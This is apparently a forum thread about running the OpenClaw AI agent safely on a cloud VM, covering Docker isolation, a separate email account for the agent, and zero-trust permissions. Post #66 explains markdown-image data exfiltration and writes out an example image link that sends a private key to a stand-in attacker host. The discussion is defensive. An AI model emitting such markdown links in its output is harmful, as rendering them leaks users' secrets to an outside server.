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Setting up OpenClaw on a cloud VM

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Re: Setting up OpenClaw on a cloud VM

#61

Your AI should not be in a position to submit a resignation email or send a text to your partner asking for a divorce.

I tested openclaw for a few days. The way I got around this was creating openclaw it's own gmail. Any email sent would be from that email. I gave that email access to a shared calendar so it could add events to mine. It gets to act as a second email.

Edit: the costs were through the roof at the time so I discontinued use rather than using some hacky workaround. I ran it in a docker container on an undraid server with nothing else running on the server. I also tested it in ubuntu server.

Re: Setting up OpenClaw on a cloud VM

#62
post #22

It's really not that hard to run them in docker. Can give them a nestybox (with a little work) sidecar so they can run docker-in-docker. As far as permissions, the only mental model that makes sense to me is treating them like actual people. Bound their permissions in the other systems not on their own machines, basically zero trust. For instance for email, most mail apps have had delegated permissions for a while, e…

You still have to trust your executive assistant. I would never give someone I don't trust the ability to read and write emails for me.

Yes. It’s kind of like giving power of attorney to Jeffery Epstein.

Re: Setting up OpenClaw on a cloud VM

#65

Earlier quoted context omitted.

As long as the email or text includes the disclaimer "generated with the assistance of artificial intelligence" then you should be fine.

It is a charming solution that addresses the optics with great efficiency while leaving the rot entirely undisturbed. By all means, let us proceed if the goal is to feel busy. But when the inevitable occurs, please ensure you have a second, more serious suggestion ready. Disclaimer: generated with the assistance of artificial intelligence

The auth logic was literally inverted. Blocking people it should allow, allowing people it should block.

Probably any human reviewer would catch that in seconds, but AI code generation optimizes for code that runs, not code that's correct in domain-specific ways. I wrote about this pattern recently, AI converges to plausible output but misses the reasoning that requires actual expertise: https://philippdubach.com/posts/the-impossible-backhand/

Re: Setting up OpenClaw on a cloud VM

#66
post #48

Earlier quoted context omitted.

How does my email platform know which messages I want my agent to see and which are too sensitive? I don't see how it's possible to securely give an agent access to your inbox unless it has zero ability to exfiltrate (not sending mail, not making any external network requests). Even then, you need to be careful with artifacts generated by the agent because a markdown file could transmit data when rendered.

> a markdown file could transmit data when rendered. This is a new threat vector to me. Can you tell me more?

Your markdown file has an image that links to another server controlled by the attacker and the path/query parameters you're attempting to render contains sensitive data.

    ![](https://the-attacker.com/steal?private-key=abc123def

Re: Setting up OpenClaw on a cloud VM

#67
post #22

Earlier quoted context omitted.

You still have to trust your executive assistant. I would never give someone I don't trust the ability to read and write emails for me.

Yes. It’s kind of like giving power of attorney to Jeffery Epstein.

Seems to be working out alright for old Wexner.

Re: Setting up OpenClaw on a cloud VM

#68
post #48

Earlier quoted context omitted.

How does my email platform know which messages I want my agent to see and which are too sensitive? I don't see how it's possible to securely give an agent access to your inbox unless it has zero ability to exfiltrate (not sending mail, not making any external network requests). Even then, you need to be careful with artifacts generated by the agent because a markdown file could transmit data when rendered.

> a markdown file could transmit data when rendered. This is a new threat vector to me. Can you tell me more?

Not hypothetical: https://checkmarx.com/zero-post/exploiting-markdown-injectio...
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